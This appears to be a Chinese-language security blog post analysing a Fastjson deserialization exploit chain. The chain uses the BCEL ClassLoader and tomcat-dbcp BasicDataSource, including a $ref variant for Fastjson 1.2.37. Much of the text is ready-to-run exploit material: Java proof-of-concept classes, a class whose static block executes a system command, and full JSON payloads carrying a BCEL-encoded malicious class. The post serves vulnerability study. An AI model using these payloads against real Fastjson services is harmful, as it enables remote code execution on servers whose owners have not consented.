BCEL

下面将讲述bcel加载恶意类的详细过程

BCEL是什么

引用自CSDN

BCEL原本是Apache Jakarta的一个子项目,后来成为了Apache Commons的一个子项目。Apache Commons Collections想必大家都知道,就是常说的CC链,也是Apache Commons的一个子项目

BCEL主要用于分析、创建、操纵Java class文件,包含在原生原生JDK中(com.sun.org.apache.bcel),之所以包含在原生JDK主要原因可能是为了支撑Java XML的一些功能,Java XML功能包含了JAXP(Java API for XML Processing)规范,Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。

Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。

XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。

因为需要编译文件,实际上是动态生成Java字节码,BCEL正是一个Java处理字节码的库,所以Apache Xalan又依赖了BCEL

CalssLoader

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package classloader;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class TestBCEL {
public static void main(String[] args) throws Exception {
String str = "\$\$BCEL\$\$xd";
new ClassLoader().loadClass(str).newInstance();

}
}

先对于bcel的类加载机制com.sun.org.apache.bcel.internal.util.ClassLoader进行断点分析,可以得到如下代码

image-20240320223023444

可见ClassLoader中对于$$BCEL$$字段进行了判断,如果存在就对class_name执行create_class方法,跟踪该方法,结果如下

image-20240320223944065

个人感觉这里就是对bcel可以加载恶意类最直观的解释,根据代码逻辑,其截取了$$BCEL$$之后的字符,并将其解码,以类的形式返回,回到上层代码继续分析

image-20240320224545715

得到clazz之后就到达了下面框框里的代码,调用了ClassLoader类的核心方法defineClass(定义一个Java类),如果我们在$$BCEL$$后街上恶意类的代码,在这里就会将其彻底解析,进而完成恶意类的构造。

构造恶意类

了解了bcel加载恶意类的过程,下面就需要进行恶意类的构造,关键在于上面分析过的createClass方法,其中对于$$BCEL$$后的代码进行了解码处理,如下图

image-20240320225449811

所以我们构造的时候需要将类进行同样的编码处理,测试代码如下

TestBCEL.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package classloader;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class TestBCEL {
public static void main(String[] args) throws Exception {
//导入恶意类
JavaClass javaClass = Repository.lookupClass(classloader.Calc.class);
String str = "\$\$BCEL\$\$";
//将恶意类的字节码编码后和\$\$BCEL\$\$拼接
str += Utility.encode(javaClass.getBytes(),true);
//利用bcel加载恶意类
new ClassLoader().loadClass(str).newInstance();

}
}

Calc.java

1
2
3
4
5
6
7
8
9
10
11
package classloader;

public class Calc{
static {
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}

运行结果,成功弹出计算器

image-20240320225755058

tomcat-dbcp分析

下面将会将bcel和dbcp结合起来综合分析,利用链如下

1
BasicDataSource.getConnection() > createDataSource() > createConnectionFactory()

跟踪BasicDataSource#getConnection方法

image-20240321094112777

继续跟踪BasicDataSource#createDataSource方法

image-20240321094218327

可以发现在这里调用了BasicDataSource#createConnectionFactory,继续跟踪该方法

image-20240321094308710

driverClassName和driverClassLoader都是该类下的成员变量(可控),并利用forName函数进行了类加载

类加载机制

1
2
3
4
5
// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");

// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

至此,我们就可以利用Class.forName方法实现我们的恶意类加载,验证脚本如下

FjBCEL.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package classloader;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp.BasicDataSource;
//import org.apache.commons.dbcp.BasicDataSource;

import java.io.IOException;
import java.sql.SQLException;

public class FjBCEL {
public static void main(String[] args) throws IOException, SQLException {
//fj1.2.24
ClassLoader classLoader = new ClassLoader();
JavaClass javaClass = Repository.lookupClass(classloader.Calc.class);
String str = "\$\$BCEL\$\$";
str += Utility.encode(javaClass.getBytes(),true);
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName(str);
basicDataSource.getConnection();

}
}

运行结果,成功弹出计算器

image-20240321094644237

BCEL-dbcp-fastjson

下面将会将上面所说的bcel,dbcp和fj结合起来,利用fj触发该利用链

利用链入口就是上面提到的BasicDataSource#getConnection方法,但该类并没有Connection成员变量,那他是如何调用的呢?

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法(详见fj的触发详细过程),而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

先给出测试POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package classloader;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp.BasicDataSource;

import java.io.IOException;
import java.sql.SQLException;

public class FjBCEL {
public static void main(String[] args) throws IOException, SQLException {
//fj1.2.24
ClassLoader classLoader = new ClassLoader();
JavaClass javaClass = Repository.lookupClass(classloader.Calc.class);
String str = "\$\$BCEL\$\$";
str += Utility.encode(javaClass.getBytes(),true);
String payload =
"{\n"
+ " {\n"
+ " \"aaa\": {\n"
+ " \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n"
+ " \"driverClassLoader\": {\n"
+ " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"
+ " },\n"
+ " \"driverClassName\": \""+str+"\"\n"
+ " }\n"
+ " }:\"xxx\"\n"
+ "}";
JSON.parse(payload);
// BasicDataSource basicDataSource = new BasicDataSource();
// basicDataSource.setDriverClassLoader(classLoader);
// basicDataSource.setDriverClassName(str);
// basicDataSource.getConnection();

}
}
1
2
3
4
5
6
7
8
9
10
11
12
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "\$\$BCEL\$\$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$H$8e$m$$$I$$$84E$U$c1y$3a$j$95$viR$rS$c4$hq$e6$C$88$D$P$c0C$n$3ca$V$Q$vv$fc$db$fel$x$_$afO$cf$A6$b1$e2$c2$c1$a8$8b1$8c$3b$980$7e$d2$c6$94$8b$i$a6m$cc$d8$98e$c8o$abP$e9$j$86lu$ed$9c$c1$da$8d$9a$92$a1$e4$abP$k$f5$3a$N$Z$9f$f1F$40J$d9$8f$E$P$cey$acL$fc$nZ$faR$r$s$t$C$9e$qA$c4$9b2$ae$ed$f2$40l18$db$o$f8$403$w$ad$f8m$7e$cdk$B$P$5b$b5$bd$h$n$bbZE$n$95$V$eb$9a$8b$abC$deM$91$b4$j$83$5b$8fz$b1$90$fb$ca$8c$u$Y$dc$86$e9$f5P$80kc$ce$c3$3c$Wh6$ad$p$3c$yb$89a$e8$l$b6$87e$b8$M$D$bfW$p$e9$bb$fa$b8$d1$96B3$M$7eK$a7$bdP$ab$OMv$5bR$7f$F$95$ea$9a$ff$a7$86$d6$b7$e4$8d$q$e4j$f5G$b6$aec$V$b6$b6$7e6$9c$c4$91$90IB$N$a5$$$ruz$f4Y$cc$85$a4cl$faI$e6$c9$80$99$T$c9$f6QT$p$cf$c8$e7$d6$l$c0$ee$d2$b4G6$9f$8aY$U$c9z$ef$F$e8G$89$bc$83$81$aff$9e$c2$80$f2$p2$e5$ec$3d$ac$8b$5b8$H$eb$f7$c8$df$a5z$81zsD1$c4$R$fa2$dcB$aa$daDv0H$a4$cf$JEX$U$97$v$g$a2$d7F$c6$b71lQ$a2$92$$5$f2$G$933$ed$e9n$C$A$A"
}
}:"xxx"
}

当我们利用parse()方法的时候

image-20240321140349525

结合payload可得在这里由于key不为null,所以调用了toString方法,key为JSONObject对象,会调用该对象的toString方法。而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值(对于getConnection的触发还有一种解释https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/util/TypeUtils.java#L1904),进而触发get链,上面已经给出了JSON.parse的测试代码,下面是JSON.parseObject的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package classloader;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
//import org.apache.tomcat.dbcp.dbcp.BasicDataSource;

import java.io.IOException;
import java.sql.SQLException;

public class FjBCEL {
public static void main(String[] args) throws IOException, SQLException {
//fj1.2.24
ClassLoader classLoader = new ClassLoader();
JavaClass javaClass = Repository.lookupClass(classloader.Calc.class);
String str = "\$\$BCEL\$\$";
str += Utility.encode(javaClass.getBytes(),true);
String payload = "{\n"
+ " \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n"
+ " \"driverClassLoader\": {\n"
+ " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"
+ " },\n"
+ " \"driverClassName\": \""+str+"\"\n"
+ " }";
JSON.parseObject(payload);
// BasicDataSource basicDataSource = new BasicDataSource();
// basicDataSource.setDriverClassLoader(classLoader);
// basicDataSource.setDriverClassName(str);
// basicDataSource.getConnection();

}
}

1
2
3
4
5
6
7
{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "\$\$BCEL\$\$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$H$8e$m$$$I$$$84E$U$c1y$3a$j$95$viR$rS$c4$hq$e6$C$88$D$P$c0C$n$3ca$V$Q$vv$fc$db$fel$x$_$afO$cf$A6$b1$e2$c2$c1$a8$8b1$8c$3b$980$7e$d2$c6$94$8b$i$a6m$cc$d8$98e$c8o$abP$e9$j$86lu$ed$9c$c1$da$8d$9a$92$a1$e4$abP$k$f5$3a$N$Z$9f$f1F$40J$d9$8f$E$P$cey$acL$fc$nZ$faR$r$s$t$C$9e$qA$c4$9b2$ae$ed$f2$40l18$db$o$f8$403$w$ad$f8m$7e$cdk$B$P$5b$b5$bd$h$n$bbZE$n$95$V$eb$9a$8b$abC$deM$91$b4$j$83$5b$8fz$b1$90$fb$ca$8c$u$Y$dc$86$e9$f5P$80kc$ce$c3$3c$Wh6$ad$p$3c$yb$89a$e8$l$b6$87e$b8$M$D$bfW$p$e9$bb$fa$b8$d1$96B3$M$7eK$a7$bdP$ab$OMv$5bR$7f$F$95$ea$9a$ff$a7$86$d6$b7$e4$8d$q$e4j$f5G$b6$aec$V$b6$b6$7e6$9c$c4$91$90IB$N$a5$$$ruz$f4Y$cc$85$a4cl$faI$e6$c9$80$99$T$c9$f6QT$p$cf$c8$e7$d6$l$c0$ee$d2$b4G6$9f$8aY$U$c9z$ef$F$e8G$89$bc$83$81$aff$9e$c2$80$f2$p2$e5$ec$3d$ac$8b$5b8$H$eb$f7$c8$df$a5z$81zsD1$c4$R$fa2$dcB$aa$daDv0H$a4$cf$JEX$U$97$v$g$a2$d7F$c6$b71lQ$a2$92$$5$f2$G$933$ed$e9n$C$A$A"
}

根据包版本的不同payload会略有差异,有些包调用的可能就是org.apache.tomcat.dbcp.dbcp2.BasicDataSource

类路径需要根据实际情况而定,运行结果

image-20240321175438078

以上方法只针对于fj<=1.2.36版本的情况,为什么呢?

下图为fj1.2.37中的key部分,发现已经没有了toString方法,之前对于JSON.parse和JSON.parseObject的payload都是通过将key设置为JSONObject对象来触发toString,进而依次调用该类的getter加载恶意代码,如果没有了toString,那么payload也就失去了作用

image-20240322005147162

通过$ref进行调用

接下来的测试我的fj换成了1.2.37

什么是ref

ref是fastjson特有的JSONPath语法,用来引用之前出现的对象

什么是JSONPath

https://blog.csdn.net/itguangit/article/details/78764212

测试代码

RefTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package classloader;

import java.io.IOException;

public class RefTest {
private String cmd;
private String test;

public void setTest(String test){
this.test=test;
}

public String setTest(){
return test;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}


}

BCEL_refTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package classloader;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class BCEL_refTest {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="[{\"@type\":\"classloader.RefTest\",\"cmd\":\"calc\"},{\"@type\":\"classloader.RefTest\",\"cmd\":\"calc\",\"test\":\"test\"},{\"$ref\":\"$[1].cmd\"}]";
Object o = JSON.parse(payload);
}
}

payload

1
2
3
4
5
6
7
8
9
10
[
{
"@type": "classloader.RefTest",
"cmd": "calc"
},
{
"$ref": "$[1].cmd"
}
]

这里解释一下jsonpath在该payload里的作用,$[1]代表引用了当前数组的第二个变量,也就是

1
2
3
4
5
{
"@type": "classloader.RefTest",
"cmd": "calc",
"test": "test"
}

.cmd代表获取该对象中cmd的值,相比于之前的payload,$ref主要是通过JSONPath的形式进行了对象和属性的调用,利用反射进行实例化,进而执行恶意方法。同样的,我们可以通过$ref调用上面说到的connection,进而触发他的get方法

测试代码:

BCEL_refTest.java

运行的时候报了两次错,应该是tomcat版本的问题,高版本加了waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package classloader;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class BCEL_refTest {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().addAccept("org.apache.tomcat.dbcp.dbcp.BasicDataSource");
ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.bcel.internal.util.ClassLoader");
String payload = "[{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"\$\$BCEL\$\$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$H$8e$m$$$I$$$84E$U$c1y$3a$j$95$viR$rS$c4$hq$e6$C$88$D$P$c0C$n$3ca$V$Q$vv$fc$db$fel$x$_$afO$cf$A6$b1$e2$c2$c1$a8$8b1$8c$3b$980$7e$d2$c6$94$8b$i$a6m$cc$d8$98e$c8o$abP$e9$j$86lu$ed$9c$c1$da$8d$9a$92$a1$e4$abP$k$f5$3a$N$Z$9f$f1F$40J$d9$8f$E$P$cey$acL$fc$nZ$faR$r$s$t$C$9e$qA$c4$9b2$ae$ed$f2$40l18$db$o$f8$403$w$ad$f8m$7e$cdk$B$P$5b$b5$bd$h$n$bbZE$n$95$V$eb$9a$8b$abC$deM$91$b4$j$83$5b$8fz$b1$90$fb$ca$8c$u$Y$dc$86$e9$f5P$80kc$ce$c3$3c$Wh6$ad$p$3c$yb$89a$e8$l$b6$87e$b8$M$D$bfW$p$e9$bb$fa$b8$d1$96B3$M$7eK$a7$bdP$ab$OMv$5bR$7f$F$95$ea$9a$ff$a7$86$d6$b7$e4$8d$q$e4j$f5G$b6$aec$V$b6$b6$7e6$9c$c4$91$90IB$N$a5$$$ruz$f4Y$cc$85$a4cl$faI$e6$c9$80$99$T$c9$f6QT$p$cf$c8$e7$d6$l$c0$ee$d2$b4G6$9f$8aY$U$c9z$ef$F$e8G$89$bc$83$81$aff$9e$c2$80$f2$p2$e5$ec$3d$ac$8b$5b8$H$eb$f7$c8$df$a5z$81zsD1$c4$R$fa2$dcB$aa$daDv0H$a4$cf$JEX$U$97$v$g$a2$d7F$c6$b71lQ$a2$92$$5$f2$G$933$ed$e9n$C$A$A\"},{\"$ref\": \"$[0].Connection\"}]";
Object o = JSON.parse(payload);
}
}

payload

1
[{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"\$\$BCEL\$\$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$H$8e$m$$$I$$$84E$U$c1y$3a$j$95$viR$rS$c4$hq$e6$C$88$D$P$c0C$n$3ca$V$Q$vv$fc$db$fel$x$_$afO$cf$A6$b1$e2$c2$c1$a8$8b1$8c$3b$980$7e$d2$c6$94$8b$i$a6m$cc$d8$98e$c8o$abP$e9$j$86lu$ed$9c$c1$da$8d$9a$92$a1$e4$abP$k$f5$3a$N$Z$9f$f1F$40J$d9$8f$E$P$cey$acL$fc$nZ$faR$r$s$t$C$9e$qA$c4$9b2$ae$ed$f2$40l18$db$o$f8$403$w$ad$f8m$7e$cdk$B$P$5b$b5$bd$h$n$bbZE$n$95$V$eb$9a$8b$abC$deM$91$b4$j$83$5b$8fz$b1$90$fb$ca$8c$u$Y$dc$86$e9$f5P$80kc$ce$c3$3c$Wh6$ad$p$3c$yb$89a$e8$l$b6$87e$b8$M$D$bfW$p$e9$bb$fa$b8$d1$96B3$M$7eK$a7$bdP$ab$OMv$5bR$7f$F$95$ea$9a$ff$a7$86$d6$b7$e4$8d$q$e4j$f5G$b6$aec$V$b6$b6$7e6$9c$c4$91$90IB$N$a5$$$ruz$f4Y$cc$85$a4cl$faI$e6$c9$80$99$T$c9$f6QT$p$cf$c8$e7$d6$l$c0$ee$d2$b4G6$9f$8aY$U$c9z$ef$F$e8G$89$bc$83$81$aff$9e$c2$80$f2$p2$e5$ec$3d$ac$8b$5b8$H$eb$f7$c8$df$a5z$81zsD1$c4$R$fa2$dcB$aa$daDv0H$a4$cf$JEX$U$97$v$g$a2$d7F$c6$b71lQ$a2$92$$5$f2$G$933$ed$e9n$C$A$A"},{"$ref": "$[0].Connection"}]

运行结果

image-20240322132610173

过程分析

https://blog.csdn.net/solitudi/article/details/120275526